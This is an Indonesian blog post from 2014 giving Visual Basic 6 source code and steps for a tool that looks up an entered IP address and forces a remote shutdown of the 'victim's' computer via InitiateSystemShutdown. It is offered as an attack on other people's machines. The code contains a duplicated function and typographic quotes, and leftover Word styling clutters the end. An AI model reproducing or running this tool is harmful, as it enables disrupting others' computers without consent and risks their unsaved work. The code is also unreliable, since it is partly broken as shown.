Minggu, 14 Desember 2014

Mematikan IP Dengan VB 6

buat tampilan Form Seperti dibawah ini :
11
 2.ketik source code dibawah ini :
Option Explicit
Private Type WSADATA
wVersion As Integer
wHighVersion As Integer
szDescription(0 To 256) As Byte
szSystemStatus(0 To 128) As Byte
imaxsockets As Integer
imaxudp As Integer
lpszvenderinfo As Long
End Type
Private Declare Function WSAStartup Lib “wsock32″ (ByVal VersionReg As Long, WSADatareturn As WSADATA)
As Long
Private Declare Function WSACleanup Lib “wsock32″ () As Long
Private Declare Function inet_addr Lib “wsock32″ (ByVal s As String) As Long
Private Declare Function gethostbyaddr Lib “wsock32″ (haddr As Long, ByVal hnlen As Long, ByVal addrtype As
Long) As Long
Private Declare Sub CopyMemory Lib “kernel32″ Alias “RtlMoveMemory” (xDest As Any, xSource As Any, ByVal
nbytes As Long)
Private Declare Function lstrlen Lib “kernel32″ Alias “lstrlenA” (ByVal lpString As String) As Long
Private Declare Function InitiateSystemShutdown Lib “advapi32.dll” Alias “InitiateSystemShutdownA” (ByVal
lpMachineName As String, ByVal lpMessage As String, ByVal dwTimeout As Long, ByVal bForceAppsClosed As
Long, ByVal bRebootAfterShutdown As Long) As Long
Public Function SocketsInitialize() As Boolean
Dim WSAD As WSADATA
SocketsInitialize = WSAStartup(&H101, WSAD) = 0
End Function
Public Function SocketsInitialize() As Boolean
Dim WSAD As WSADATA
SocketsInitialize = WSAStartup(&H101, WSAD) = 0
End Function
Public Function GetHostNameFromIP(ByVal sAddress As String) As String
Dim ptrHosent As Long
Dim hAddress As Long
Dim nbytes As Long
If SocketsInitialize() Then
hAddress = inet_addr(sAddress)
If hAddress <> -1 Then
ptrHosent = gethostbyaddr(hAddress, 4, 2)
If ptrHosent <> 0 Then
CopyMemory ptrHosent, ByVal ptrHosent, 4
nbytes = lstrlen(ByVal ptrHosent)
If nbytes > 0 Then
sAddress = Space$(nbytes)
CopyMemory ByVal sAddress, ByVal ptrHosent, nbytes
GetHostNameFromIP = sAddress
End If
Else
MsgBox “Error..!!”
End If
WSACleanup
Else
MsgBox “Alamat IP salah..!!”
End If
Else
MsgBox “Winsock Error..!!”
End If
End Function
Private Sub cmdmatikan_Click()
Dim name As String
name = GetHostNameFromIP(txtip.Text)
If MsgBox(“IP ” & txtip.Text & ” (” & name & “)Telah ditemukan” & vbCrLf & “Jadi Dimatikan ?”, vbYesNo +
vbQuestion, “Info”) = vbYes Then
InitiateSystemShutdown “\\” & name, “Selamat Tinggal…”, 30, True, True
End If
End Sub
3.setelah selesai jalankan program tersebut, dan masukan IP korban yang diinginkan. Klick Cari dan matikan..
2
4.Muncul konfirmasi, jika dipilih Yes maka computer lawan akan mati, jika No maka membatalkan proses pematian computer lawan.
3
5.selamat mencoba
NB : Tulisan yang bercetak miring diketik dalam 1 baris.
v\:* {behavior:url(#default#VML);}
o\:* {behavior:url(#default#VML);}
w\:* {behavior:url(#default#VML);}
.shape {behavior:url(#default#VML);}
Normal
0
false
false
false
IN
X-NONE
X-NONE
MicrosoftInternetExplorer4
/* Style Definitions */
table.MsoNormalTable
{mso-style-name:”Table Normal”;
mso-tstyle-rowband-size:0;
mso-tstyle-colband-size:0;
mso-style-noshow:yes;
mso-style-priority:99;
mso-style-qformat:yes;
mso-style-parent:””;
mso-padding-alt:0cm 5.4pt 0cm 5.4pt;
mso-para-margin:0cm;
mso-para-margin-bottom:.0001pt;
mso-pagination:widow-orphan;
font-size:10.0pt;
font-family:”Calibri”,”sans-serif”;
mso-fareast-font-family:Calibri;
mso-bidi-font-family:”Times New Roman”;}

Tidak ada komentar:

Posting Komentar